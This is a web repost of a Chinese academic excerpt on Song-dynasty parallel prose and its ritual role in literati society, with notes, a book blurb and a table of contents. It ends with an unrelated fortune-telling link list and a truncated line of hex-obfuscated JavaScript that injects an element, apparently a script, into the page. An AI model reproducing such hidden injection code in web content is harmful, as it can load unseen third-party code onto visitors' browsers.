首页 / 章黄国学 / 周剑之丨黼黻之美:宋代骈文的整体观照

周剑之丨黼黻之美:宋代骈文的整体观照

章黄国学 2022-01-14 04:50

宋代骈文与士人社会

文丨周剑之

在中国古代历史上,文学是与社会形态、社会观念、社会实践紧密联结的表达方式。文学表达方式的转变往往有着深刻的社会历史与思想文化根源。正如学者对中唐至北宋古文运动作出的判断:古文对骈俪文风的打破,不仅是在寻找新的表达方式,同时也是在寻找与文风相联系的思想和价值观[1]。事实上,不仅古文如此,骈文也如此。 在古文运动之后,散文并未一统天下、骈文依然占据半壁江山的事实表明,骈文亦拥有支持其发展的特定思想观念与价值判断。

以往研究对古文运动已经有了非常深入的探讨。古文运动不仅是一场文学运动,同时也是一场思想运动,而且以指导君主独裁国家为目标;写古文、兴古道、行古制,被视为统一的整体[2]。古文运动日渐确立起“文以载道”的基本理念,并且贯穿创作主体的为学、为人与为文。正是在这样的思想转变中,古文获得了不可动摇的地位。在这一思想体系内,骈文看上去确实是处境尴尬的、可有可无的。然而,“偶俪之文苟合于理,未必为非”[3]。注重合理性的宋代士大夫不会轻易否定骈文的意义 。既然骈文的书写形式依然为社会所需要,那么骈文也应拥有一套相应的理论依据和评价体系。

“文”自古以来就拥有丰厚的意蕴。《周易·贲卦》言:“观乎天文,以察时变;观乎人文,以化成天下。”《文心雕龙·原道》称:“文之为德也大矣,与天地并生者何哉?”从山川草木,到人心人性,再到礼乐体制,“文”几乎无所不包。这些传统观念构成了后世的思想资源。无论古文理论还是骈文理论,其实都有对前代资源的吸收与转化。不过,古文、骈文对前代资源的选取范围、阐释方向是不同的。如果说文以载道的古文理论主要是将重点放在“道”上、以文道关系的探讨为核心[4],那么宋人在面对骈文时则将重点放在“文”上、积极论证“文”的意义和价值。

“文质彬彬”是宋代骈文的一项重要理论依据。《论语·雍也》云:“质胜文则野;文胜质则史。文质彬彬;然后君子。”孔子本意是谈君子的修养,然自此以下,文质关系成为文学批评中的常见话题,尤其在魏晋南北朝至中唐时期的文学批评中,占据了非常重要的地位[5]。 运熙先生指出,盛唐诗歌风骨与文采的结合,基本实现了从刘勰、钟嵘以来一直追求的文质彬彬的理想,故中晚唐的文学批评很少再特意标榜文质彬彬了。王先生的观察非常细致。中唐以下,文学风尚发生变化,这也正是文以载道问题日渐明晰的时期。文质关系在宋代的讨论,大体沿袭前人,确乎谈不上新意。然而文质关系常用于谈论骈文,却是值得注意的现象。欧阳修《谢知制诰表》提出的说法很有代表性:“质而不文,则不足以行远而昭圣谟;丽而不典,则不足以示后而为世法。”[6]这是针对制诏王言来说的。王言固然不可“丽而不典”,却也不能“质而不文”。与之相关的经典表述还有《左传》中的:“言之无文,行而不远。”苏辙所说“朝廷以号令,鼓舞四方,言之不文,行之不远”[7],也是宋人的共识。制诏王言作为宋代骈文规格最高的文体,其对“文质彬彬”诉求,具有从上到下的影响力。吕祖谦《宋文鉴》乃奉旨编选,其中多收录制诏王言及表启骈文。 周必大为该书作序,在谈及编选标准时,特意提到:“大率事辞称者为先,事胜辞则次之,文质备者为先,质胜文则次之。”[8]强调“辞”“文”不可轻忽。“文质彬彬”的经典话语,为骈文争取到了合理的立足之地。

与此同时,在宋代骈文领域,“文”在礼仪节文方面的内涵得到了彰显。中古时期文学批评中的“文”“质”,主要是指文华与质朴这两种艺术风貌特征;但实际上“文”“质”也有政治角度的含义。董仲舒《春秋繁露·三代改制质文》云“王者以制,一商一夏,一质一文”,又云“主天法质而王”则“亲亲而多质爱”,“主地法文而王”则“尊尊而多礼文”[9]。又有阮瑀、应玚《文质论》、李华作《质文论》等,大抵用“质”指称简易、质朴的为政风格,而将“文”与礼乐刑赏、人文教化相对应[10]。事实上这正是宋代骈文选择的阐释角度。当骈体形式承载着制度典章与文化精神、足以发为朝廷气象乃至王朝气象时,它就具备了正当的立场。既然王言制诏为“礼命之文”[11],可以“助国威,宣王泽”[12]、可以“布宣威灵,张大国体”[13],那么能够彰显这一切的骈体形式就不可或缺。 以此类推,君臣之交流,官员之往来,这些具备礼仪节文意味的应用场域,都必然对骈文自带的礼仪属性充满期待。

宋人对骈文的价值判断多源自前代思想资源,但这并非简单的重复。伴随着社会历史的变迁,“文”的意蕴也在不断演化。在宋代,复古行道之“文”与礼仪节文之“文”产生分化,带来了文章创作的骈散分途,以及古文、骈文理论的各有所据。这实质上意味着文章表达形式有了更为精细的分工,形式与功能的对应更加专门。

若要再往深追索,则文学分工精细化的背后,是文化结构的复杂化和士人社会的多元化。宋代文化的外在格局是阔大的,内在结构又是极其细腻的。阔大与细腻在政治、思想、学术、艺术等众多方面皆有体现。这里仅从礼仪节文的角度来谈。元人袁桷说:“王言之制,始分于唐;人文之精,特盛于宋。”[14]宋代对王言七体的细化,第三章已经讨论过。袁桷所强调的“人文之精”,是指宋代在王言文体及风格对应上的细致考究,“故便于宣读者,必资谐叶;而直以训告者,当务简严”[15]。这一观察可推及所有以骈体行文的文体。 它们均有相应的应用场域,而与应用场域对应的,是社会文化结构当中的一个组成部分,反映着社会文化的某种具体诉求:骈体王言欲展示国家的威仪,表文承担着君臣沟通的伦理,启文映射着士大夫的交际礼仪……不同文体应对着不同的功能,也需要相应的文风与之相配。 宋代骈文含括多种文体、每一文体皆有与之相应的应用场域和书写方式,这正是“人文之精”的具体体现。

其间还当注意社会变革对骈文的召唤。北宋时期,唐宋社会变革带来了新兴士大夫的崛起。新兴士大夫既是政治的主体,也是文化的主体,在宋代社会中承担着多样的职责。就政治主体的身份来说,礼仪节文实为士大夫社会实践的环节之一,这令士大夫无法忽视骈文在政治文化与社会生活中的应用意义。 而就文化主体的身份来说,骈文这样一种仰仗深厚学养与敏捷才思的行文方式,以显而易见的文学形式展现着文化主体的突出表征,并在一定程度上维持着士大夫的文化权威。到南宋时期,士人阶层发生分化,既向地方弥散,士人出路也变得多样化,骈文还作为一技之长为士人谋生提供着重要支持。

《礼记·坊记》云:“礼者,因人之情而为之节文。”苏轼曾加以发挥:“夫礼之初,缘诸人情,因其所安者,而为之节文,凡人情之所安而有节者,举皆礼也,则是礼未始有定论也。然而不可以出于人情之所不安者,则亦未始无定论也。”[16]这番对礼的探讨似可移为宋代骈文应用的注脚。礼仪节文与人情所安紧密相关,社会变迁或许会带来礼仪节文的变化,而安于人情这一点却是不变的定论。宋代骈文礼仪性的凸显,正是“人情之所安而有节者”,是士人社会的召唤。 精细而多元的社会文化分层,带来了礼仪诉求的专门化和文学分工的精细化,推动着宋代骈文的发展。

骈文礼仪节文的属性在宋代凸显,是社会文化发展变迁的结果,也契合了宋代士大夫政治主体、文化主体双重身份的需要。与此同时,骈文作为宋代士人的重要行文方式,又直接参与着士人的社会文化生活,影响着士人阶层的不断建构。

作为一种具有礼仪属性的行文方式,骈文写作直接构成士人现实生活的一部分。骈文写作是一种现实的需要,士大夫可以通过骈文写作获得一份实在可见的现世成就。这种成就可以体现为仕途的进阶,也可以体现为文学的声誉。丁谓的表文打动了仁宗,得以从贬谪地海南移徙光州[17];宋湜草诏深得宋真宗之心,“不数日参大政”[18];孙拤草拟《章献章懿皇后升祔太庙赦》,仁宗“感泣弥月”,不久后将其擢为参政[19]:这是仕途上的直接收获。杨亿以骈俪应用之才享有盛名,刘敞临下值前一挥九制让人惊叹,汪应辰撰写制诏温雅典实、被朱熹称为“近世第一”[20]:这是骈文带来的卓着声誉。

比现世成就来得更深刻的,是骈文写作所包含的身份认同。作为士阶层的一员,必须满足一些基本的条件,符合这一阶层共有的特点,并获得这一阶层的接纳。骈文写作就是这样一项条件。这项条件彰显着士阶层的文化实力,符合宋代士人社会对礼仪节文的诉求。它是通往光明仕途的踏脚石,也是悠游于士人社会的试金石。欧阳修的经历尤其具有代表性。未入仕时,他修习的是四六时文,在考中进士、迈入仕途以后才致力于古文写作;尽管致力于古文写作,但面对制诏表启等文体,他仍然尊重骈文书写的惯例,其骈文文风的革新亦不违背骈文的基本规则。骈文写作已成为士阶层属性的一种具体体现,拥有骈文写作能力是融入士人群体、获得其他士人认可与接纳的一种重要方式。我们能看到,骈文在士人之间的流传颇为广泛,收获的赞誉也非常迅疾。苏轼起草制书一挥而就,“不日传都下,纸为之贵”[21];蔡卞从邸报中读到杨畏的《谢再任宫祠表》,反复讽味,大加称赞[22]。 无论是因制诏撰写而文名大振,还是因表文得到旁人的称颂,又或是以启文投贽获得赏识,实际上都是在士阶层内所获得的认可。

统一的写作方式,往往包蕴着统一价值观。宋代骈文写作在一定程度上具备统一士人思想与意识的力量。骈文写作必须经过学识的积累和技巧的训练,这些基础性的积累训练塑造着士人的知识结构和思维方式。骈文在士人生涯中的广泛应用,进一步促成这些知识结构与思维方式的共享。应用场域将现实社会的需求与理念投射到具体的书写方式中,书写方式在形成惯例后又于无形中影响着士人对社会的认识。第五章探讨的启文及第七章探讨的致语,都为此提供了鲜活的例证。这显示了骈文在士人阶层的维系与发展过程中所作出的贡献。

骈文写作还参与塑造着宋代士人的风格面貌。正如第二章中讨论的那样,以雄才奥学和气象规模为目标的宋代骈文,折射着宋代社会对士人素养的整体诉求,有助于养成博雅典重的士人气质。凭借骈文写作的训练与实践,士人修养尤其是文学层面的修养可以得到普遍的提升。而宋代骈文的应用场域,与士人社会生活紧密交叠,故骈文写作带来的不仅是士人个人的成长,更是士人阶层文学修养的整体推进。

随着北宋到南宋的变迁,士人阶层也不断发展演化。 北宋形成的士大夫政治格局,推动着士人阶层不断扩大,并带来士人阶层向地方的弥散[23]。既然知识学养是士人阶层的必备条件,士人亦以知识学养作为自己的标榜,那么骈文作为知识学养的重要表现形式,自然要应用于士人社会的方方面面,深度参与着士人阶层不断扩大与弥散的过程。回顾宋代骈文,可以看到由北宋到南宋的一些变化:北宋作者的关注点偏重王言与表文这类朝廷制作,南宋则是用于士人交际的启文占据重要地位;北宋作者对自己的骈文作品关心程度有限,“应事作俗”的作品未必纳入文集,而南宋作者普遍重视骈文作品,不但收录完全,甚至有许多骈文专集,如《四六标准》《橘山四六》《壶山四六》等;骈文的日用化倾向也是在南宋变得日益突出,不但有专门的四六类书问世,而且出现各种便利的活套…… 将宋代骈文发展与士人演化趋势合观,可以看到二者的内在关联。骈文在士人社会的广泛应用,是士人阶层演化的结果,同时也是士人阶层演化的助力。透过骈文写作,文学素养得以如毛细血管运作般渗入士人阶层乃至民众阶层,酝酿着后世向平民文学的转型。

向上滑动查看注释

[1]参见(美)包弼德着、刘宁译《斯文:唐宋思想的转型》(江苏人民出版社,2001)第一章。

[2]朱刚《唐宋“古文运动”与士大夫文学》指出,对唐宋“古文运动”比较完整的概括是“以古文文体,表达‘新儒学’思想,以指导君主独裁国家”。第25页。

[3]欧阳修:《论尹师鲁墓志》,载《欧阳修全集》卷七二,第1046页。

[4]文道关系论是贯穿古代文章学之始终的核心问题。周兴录《文道关系论之古今演变》(《南京社会科学》2017年第2期)对此有详细论述。

[5]王运熙、杨明《魏晋南北朝和唐代文学批评中的文质论》(《文艺理论研究》1980年第2期)、王运熙《文质论与中国中古文学批评》(《文学遗产》2002年第5期)二文对此有详细论述。

[6]欧阳修:《谢知制诰表》,载《欧阳修全集》卷九十,第1319页。

[7]苏辙:《曾肇中书舍人》,载《苏辙集》卷二七《西掖告词》,中华书局,1990,第473页。

[8]周必大:《〈皇朝文鉴〉序》,载吕祖谦编《宋文鉴》,齐治平点校,中华书局,1992,第2页。

[9]董仲舒:《春秋繁露义证》卷七,苏舆撰,钟哲点校,中华书局,1992,第204、210~211页。

[10]“文”“质”之政治内涵,王运熙、杨明《魏晋南北朝和唐代文学批评中的文质论》(《文艺理论研究》1980年第2期)有详细论述。

[11]《续资治通鉴长编》卷四六八,哲宗元佑六年十一月戊子,第11169页。

[12]张方平:《请慎用两制资序事》,载《张方平集》卷二十四,第365页。

[13]楼钥:《北海先生文集序》,载《攻媿集》卷五十一,第709页。

[14]《贺邓善之修撰》,载《袁桷集校注》卷三九,第1738页。

[15]同上书,第1738~1739页。

[16]《礼以养人为本论》,载《苏轼文集》卷二,第49页。

[17]《孙公谈圃》卷下“丁崖州多智数”条,第138页。

[18]《西塘集耆旧续闻》卷五,第338页。

[19]文莹:《湘山野录》卷上,郑世刚、杨立扬点校,中华书局,1984,第16页。

[20]《直斋书录解题》卷十八《玉山翰林词草》提要,第536页。

[21]《曲洧旧闻》卷七“东坡谪吕惠卿制惠卿知江宁府谢表”条,第186页。

[22]《四六话》卷上,第7页。

[23]参见王瑞来《从近世走向近代——宋元变革论述要》,见《近世中国:从唐宋变革到宋元变革》(山西教育出版社,2015)。

(本文节选自《黼黻之美:宋代骈文的应用场域和书写方式》第八章第一节)

《黼黻之美:宋代骈文的应用场域和书写方式》

作者:周剑之

出版社: 北京大学出版社

出版年: 2021-10

页码:210

内容简介

宋代骈文注重事理的曲折与叙事的明畅,讲究学识的熔铸陶冶与气象的宏大深远,既以文思才藻彰显着士人阶层的才学素养,又以格度容仪呼应着文官体制的尊卑礼节、润色着皇权社会的宏图伟业。《黼黻之美:宋代骈文的应用场域与书写方式》尝试对宋代骈文的应用场域与书写方式做细致观察与综合把握,围绕礼仪属性与身份意识的凸显,勾勒写作范式的积淀成型与流动变迁,由此探讨宋代骈文美学气质的转变,理解宋代士人应对时代的思考方式和生存方式,走进他们的心灵世界与文学世界。

作者简介

周剑之,广西桂林人,毕业于北京大学中文系,获文学博士学位,现为北京师范大学文学院副教授。研究方向为唐宋文学。着有《宋诗叙事性研究》(中国社会科学出版社2013年版),在《文学评论》《文学遗产》《文艺研究》等刊物上发表论文多篇,主持教育部人文社科青年项目“中国古典诗歌叙事传统研究”、国家社科基金后期资助项目“宋代骈文文体研究”。

目 录

向上滑动查查看目录

绪论

第一节 “当时”之“重事”与“嬗变”之“风流”

一、“当时”之“重事”

二、“嬗变”之“风流”

三、“应用性美文”及其研究价值

第二节 研究综述与学理反思

一、“宋代骈文”解题

二、宋代骈文研究的创获与局限

三、研究思路的转向

第三节 应用场域与书写方式

第一章 宋代骈文“应用观”的成型与演进

第一节 何谓“应用”

第二节 “应用”文章与其他文章的分途

第三节 “有用”还是“无用”

第二章 宋代骈文的才学底蕴与书写趣尚

第一节 雄才奥学与气象规模

第二节 士人素养的集中映射

第三节 才学之文的构建层次

一、储备:知识累积与学问积淀

二、整合:技巧剪裁与才思运化

三、提升:人格修养与理想文风

第三章 政治运作场域中的宋代骈体王言

第一节 政治行为中的宋代王言

第二节 宋代骈体王言:政治权力的文学具现

一、制式化:由政治构想到文学映射

二、得体:政治语境的制约

三、典重:王言风格的取向

第三节 被需要的文学:文学价值的另一层面

第四章 君臣交流场域中的宋代表文

第一节 论事分流与陈情复归:宋代表文应用场域的重构

第二节 被规制的情感:君臣交流的礼与理

第三节 夹缝中的心曲

第四节 明畅风格的形成

第五章 新型士人关系网络中的宋代启文

第一节 宋代启文的“新变”与“不变”

第二节 宋代启文的应用场域:新型士人关系网络

第三节 宋代启文的核心功能与文学选择

第四节 宋代启文的“联网”效应

一、士人关系的建立与维系

二、士人关系的恶化与破裂

第六章 宋代上梁文书写方式的形塑与流变

第一节 宋代上梁文的三种亚型

第二节 中央型上梁文

第三节 地方型上梁文

第四节 私人型上梁文

第七章 士人宴饮与南宋致语书写方式的生成

第一节 士人宴饮与官场交际:致语写作场的基本属性

第二节 为人为政与先贤故事:仕宦生涯的理想描绘

第三节 氛围经营与诗词化用:文人风采的有效展示

第四节 士人身份与群体认同:话语方式内部的价值体系

第八章 黼黻之美:宋代骈文的整体观照

第一节 宋代骈文与士人社会

一、士人社会对礼仪节文的需求

二、宋代骈文对士人阶层的建构

第二节 “得体”与“精切”

结语

附录一 北宋表文嬗变轨迹述论

一、表文写作的三种倾向

二、词采派

三、事功派

四、词采与事功的兼容者:从王禹偁到欧阳修

五、兼容与精进:王安石与苏轼的再发展

附录二 节奏的新变:宋代骈文独特风貌的语言学阐释

一、六朝骈文的典型节奏

二、节奏新变之一:句内拍节的增多

三、节奏新变之二:意义节奏的作用凸显

四、节奏新变之三:声音节奏的复杂化

五、节奏新变之四:拍节对应方式的发展

小结

附录三 《江天上梁文》《袅灠亭上梁文》作者小考

参考文献

后记

特别鸣谢

敦和基金会

章黄国学

有深度的大众国学

有趣味的青春国学

有担当的时代国学

北京师范大学章太炎黄侃学术研究中心

北京师范大学汉字研究与现代应用实验室

北京师范大学文学院古代汉语研究所

北京师范大学文学院古代文学研究所

微信号:zhanghuangguoxue

文章原创|版权所有|转发请注出处

公众号主编:孟琢 谢琰 董京尘

我知道你 在看~

猜你喜欢

  • 目录:1、和尚说我姻缘线断了什么意思2、人家看手相的说我的婚姻线已经动啦是什么意思啊求解谢谢3、感情线断开是怎么回事?4、如何看婚姻线:婚姻线断开一上一下?5、姻缘线断了是什么意思,婚姻线三条什么意思和尚说我姻缘线断了什么意思姻缘线被切断了说明不是姻缘线,是..

    八字2024-03-29
  • 目录:1、男马女猴婚配属相,男属马女属猴婚配如何2、属相婚配表男属马女属猴,男属马女属猴,在一起生肖五行相克不?_百度...3、男马女猴婚姻是否相配男马女猴婚配属相,男属马女属猴婚配如何1、男马女猴十二生肖配对结果:你们是对外所向披靡,相处时却容易产生摩擦的一对..

    八字2024-03-29
  • 目录:1、八字火太旺是忌水还是喜水2、生辰八字火多代表什么3、八字火多的女人命运会怎样?4、八字五行火过旺有什么影响?警惕怒气伤身,易患肺部疾病!5、五行火多的人怎么样?脾气火爆吗6、八字火太旺八字火太旺是忌水还是喜水火旺的八字,若八字中无滴水,就要忌水。丁火..

    八字2024-03-29
  • 目录:1、如果给你算命拆八字,你认为收多少钱合适呢?2、请高手帮忙拆八字3、拆八字郡是什么意思如果给你算命拆八字,你认为收多少钱合适呢?1、所谓“合适”,就是算命与命主双方都认可的数目。至于“多少”这个一般师门有规定的,照章收费就行。2、一般在线专业算卦算命..

    八字2024-03-29
  • 目录:1、男生戴红绳的含义2、男人求姻缘佩戴什么样的玉3、男人佩戴什么可以招桃花4、男生手上带红绳什么意思?5、单身的男孩子左手带个手链算什么?男生戴红绳的含义1、爱情的象征:一般一对恋人会戴一样的,男左女右,就像是信物一样!叫做“lovelace”爱之链,代表永远..

    八字2024-03-29
  • 目录:1、86年属虎的婚姻与命运如何2、1986年属虎的一生婚姻,1986年农历6月16属虎女婚姻和命运怎样3、86年虎女一生婚姻状况4、86年属虎后半生婚姻,1986年属虎的人婚姻5、属虎人爱情婚姻运势,86年属虎男有几段婚姻6、1986年属虎的一生婚姻,属虎婚姻运解析?86年属虎的婚姻..

    八字2024-03-29
  • 目录:1、本命年和本历年有啥不同?它们的概念分别是?2、什么叫做本命年?本命年又是什么?3、本命年多少岁4、本历年与本命年有什么区别5、什么叫本命年6、本年和本命年怎么算本命年和本历年有啥不同?它们的概念分别是?1、本历年即本命年,是十二年—遇的农历属相所在的年..

    本命年2024-03-29
  • 目录:1、最精准姓名配对爱情配对2、爱情姓名配对3、情侣名字配对指数如何推算姓名拼音首字母对应数字相加4、姓名恋爱配对,男女姓名星座缘分配对5、夫妻姓名配对测试看你们关系如何最精准姓名配对爱情配对姓名拼音推算配对指数数字和字母对应姓名配对婚姻对照表,1,2,..

    姓名配对2024-03-29
  • 目录:1、60岁属牛的人本命年为什么不能过生日?2、牛年本命年可以过生日吗?3、本命年为什么不能过生日60岁属牛的人本命年为什么不能过生日?因为60岁是本命年,本命年各方面运势都很低迷,会遇到很多不好的事情,甚至还会遇到一些突发性的情况,给属牛人带来很大的伤害。..

    本命年2024-03-29
  • 目录:1、姓名配对两人爱情结果两个人名字的笔画相加后2、情侣姓名笔画看你们的缘分3、姓名姻缘测试的方法有几种?又都各自代表了什么样的含义呢?4、姓名配对缘分测试,从名字笔画看两人姻缘?5、男女姓名配对测试婚姻,男女名字笔画测缘分?姓名配对两人爱情结果两个人名字..

    姓名配对2024-03-29
  • 目录:1、女生本命年结婚好吗2、本命年结婚为什么不好?3、本命年不宜结婚吗?4、本命年为什么不能结婚5、本命年结婚怎么样6、本命年结婚好还是不好,有什么讲究女生本命年结婚好吗女人本命年结婚好吗 在我国有一种传统,就是本命年的人结婚不太好,对一个人的身体健康以及..

    本命年2024-03-29
  • 目录:1、excel如何根据姓名匹配身份证号码2、Excel如何姓名自动匹配班级3、怎样用excel根据姓氏匹配工号?excel如何根据姓名匹配身份证号码1、使用INDEX/MATCH函数进行姓名与身份证号码的匹配,具体步骤如下:步骤1:在Excel表格中,将姓名列和身份证号码列分别命名为“..

    姓名配对2024-03-29
  • 目录:1、一生好运富贵的女孩小名,女孩名字里较大富大贵的字2、好听寓意好的小名3、女性好听又聚财的小名,好运气招财的女孩名字4、又顺利又有财气的小名,搜一个很好听,好霸气,很有财气而且很吉祥的名字...5、旺财的小名女一生好运富贵的女孩小名,女孩名字里较大富大贵的..

    财运2024-03-29
  • 目录:1、如何匹配2张excel中的名字2、怎么在表格里匹配同学的名字?3、excel表中怎么把两列姓名对应起来,比如王明和张华。4、两张表匹配相同名字的数据5、学生姓名与电子表格中的成绩如何匹配呢?如何匹配2张excel中的名字首先姓名配对电子表格,打开电脑姓名配对电子表..

    姓名配对2024-03-29
  • 目录:1、女人哪种脚型是富贵命超准测试2、准到不可思议!从脚相看女人的大富大贵3、从脚来看你的命运吉凶?女人哪种脚型是富贵命超准测试1、女人天生富贵的脚型埃及脚—富贵命女人有这种脚,天生脑子灵活,善于分析局势,最适合做领导性的工作,这种女人天生福气深厚,不..

    财运2024-03-29
  • 目录:1、免费测婚配八字网,求一个能够免费测八字合婚的网站?2、在线测姻缘免费测试,有免费测试缘分爱情指数的网站吗3、免费测你和他的缘分,有免费测试缘分爱情指数的网站吗4、男女姓名测试爱情缘分,怎么测试姓名缘分?5、免费姻缘八字配对,免费八字合婚网,生日爱情缘6、..

    姓名配对2024-03-29
  • 目录:1、婚姻配对免费测试姓名,名字配对姻缘,姓名姻缘配对测试2、名字婚配免费测试最准,免费姓名配对测试3、免费合婚姻最准的网站,免费合八字算婚姻网4、男女姓名匹配,姓名配对免费测姻缘5、姓名配对最准的免费网站,姓名配对哪一个网站更准啊?你试过吗?_百度知...婚姻..

    财运2024-03-29
  • 目录:1、姓名测试我和他的结局,姓名姻缘配对测试2、姓名配对测姻缘名字配对姻缘,姓名姻缘配对测3、非常运势网姓名测试打分,姓名测试打分生辰八字准吗4、姓名测试姻缘分长久,最准的姓名配对?姓名测试我和他的结局,姓名姻缘配对测试永远在一起。24岁终身监禁25恨你又爱你..

    姓名配对2024-03-29
  • 目录:1、天蝎座男和什么星座最配-注定爱上的星座2、天蝎座的最佳配对表3、星座婚配表大全天蝎座,十二星座配对表4、天蝎座男生的最佳配对5、十二星座名字配6、天蝎座男生配对星座表,揭秘天蝎男配对什么星座女?天蝎座男和什么星座最配-注定爱上的星座和天蝎男最配的星座..

    姓名配对2024-03-29
  • 目录:1、五爷庙求财许愿说什么2、增加偏财运该拜哪个菩萨3、偏财运是什么意思4、石榴木的人带什么菩萨偏财运5、问大年初四给观音菩萨和财神烧香出现长生香是什么意思有没有偏财运五爷庙求财许愿说什么许愿说词:弟子(信女)姓名、出生日期、家中地址,今日焚香并准备..

    财运2024-03-29
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();